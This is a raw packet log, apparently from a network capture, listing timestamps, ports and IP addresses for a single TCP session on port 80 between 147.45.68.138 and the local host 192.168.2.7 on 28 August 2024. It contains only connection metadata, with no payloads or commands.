Aug 28, 2024 22:55:56.800115108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800124884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800134897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800144911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.800146103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800156116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800162077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.800168037 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800178051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800192118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.800213099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.800221920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800232887 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800242901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800254107 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.800254107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800282001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.800340891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800352097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800363064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800379038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800385952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.800407887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.800430059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.800736904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800748110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800782919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.800795078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.800915956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800928116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800936937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800946951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800954103 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.800959110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.800970078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.800998926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883263111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883297920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883311033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883322954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883335114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883347988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883361101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883364916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883371115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883388042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883429050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883445978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883517027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883527994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883537054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883548021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883559942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883570910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883570910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883570910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883570910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883570910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883570910 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883577108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883589029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883599043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883608103 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883613110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883621931 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883641958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883652925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883662939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883663893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883673906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883690119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883702040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883707047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883723974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883724928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883735895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883747101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883750916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883759022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883769989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883776903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883778095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883786917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883802891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883812904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883816004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883829117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883846998 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.883970976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.883984089 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884010077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884027958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884036064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884038925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884049892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884063005 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884076118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884095907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884272099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884282112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884294033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884318113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884336948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884428024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884438992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884449959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884469032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884490967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884516954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884526968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884537935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884550095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884557009 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884583950 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884644032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884654999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884665012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884675026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884685993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884685993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884697914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884710073 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884713888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884726048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884736061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884737968 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884747028 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884754896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884783983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884804010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884829998 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884843111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.884876966 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.884891987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.885027885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885066986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885068893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.885078907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885094881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885107040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885107040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.885118008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885128021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.885143995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885145903 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.885153055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885170937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.885195971 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.885252953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885263920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885273933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885284901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885294914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.885310888 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.885333061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.885690928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885701895 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885714054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885724068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.885735035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.885746002 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.885767937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.886485100 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886496067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886507034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886528015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886534929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.886538982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886548996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886560917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886569977 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.886571884 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886586905 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.886610985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.886701107 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886710882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886722088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886744976 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.886770010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.886801004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886811972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886821985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886832952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886842966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886843920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.886853933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886864901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886867046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.886892080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.886902094 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.886930943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886941910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886953115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886962891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886976004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.886980057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886991024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.886998892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887001991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887012959 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887022972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887027025 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887036085 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887046099 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887049913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887062073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887065887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887090921 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887105942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887114048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887116909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887128115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887137890 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887149096 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887156010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887173891 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887187958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887200117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887209892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887218952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887233019 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887245893 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887270927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887458086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887501955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887567043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887608051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887636900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887654066 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887664080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887675047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887681007 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887686968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887687922 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887700081 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887700081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.887717009 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.887744904 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.970834017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.970896006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.970906973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.970918894 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.970930099 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.970940113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.970952034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.970963001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.970963001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.971116066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.971116066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.971853018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.971864939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.971874952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.971908092 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.971918106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.971926928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.971930981 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.971960068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.971976995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.971997023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972008944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972019911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972026110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972039938 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.972059011 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.972059965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972070932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972083092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972095013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972105026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.972106934 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972117901 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972122908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.972148895 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.972173929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972181082 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.972215891 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.972250938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972292900 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.972326994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972345114 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972349882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972356081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972361088 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972369909 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.972388983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.972415924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.972671986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972687960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.972722054 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.972731113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.973205090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.973216057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.973234892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.973247051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.973249912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.973257065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.973268032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.973277092 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.973279953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.973292112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.973306894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.973328114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.973871946 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.973882914 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.973892927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.973932028 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.973946095 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.973995924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974006891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974011898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974030018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974045992 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974045992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974056005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974066019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974072933 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974081993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974098921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974100113 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974112034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974113941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974123001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974133015 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974140882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974153042 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974153042 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974164009 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974175930 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974179983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974195957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974199057 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.974206924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.974219084 CEST	80	49731	147.45.68.138	192.168.2.7
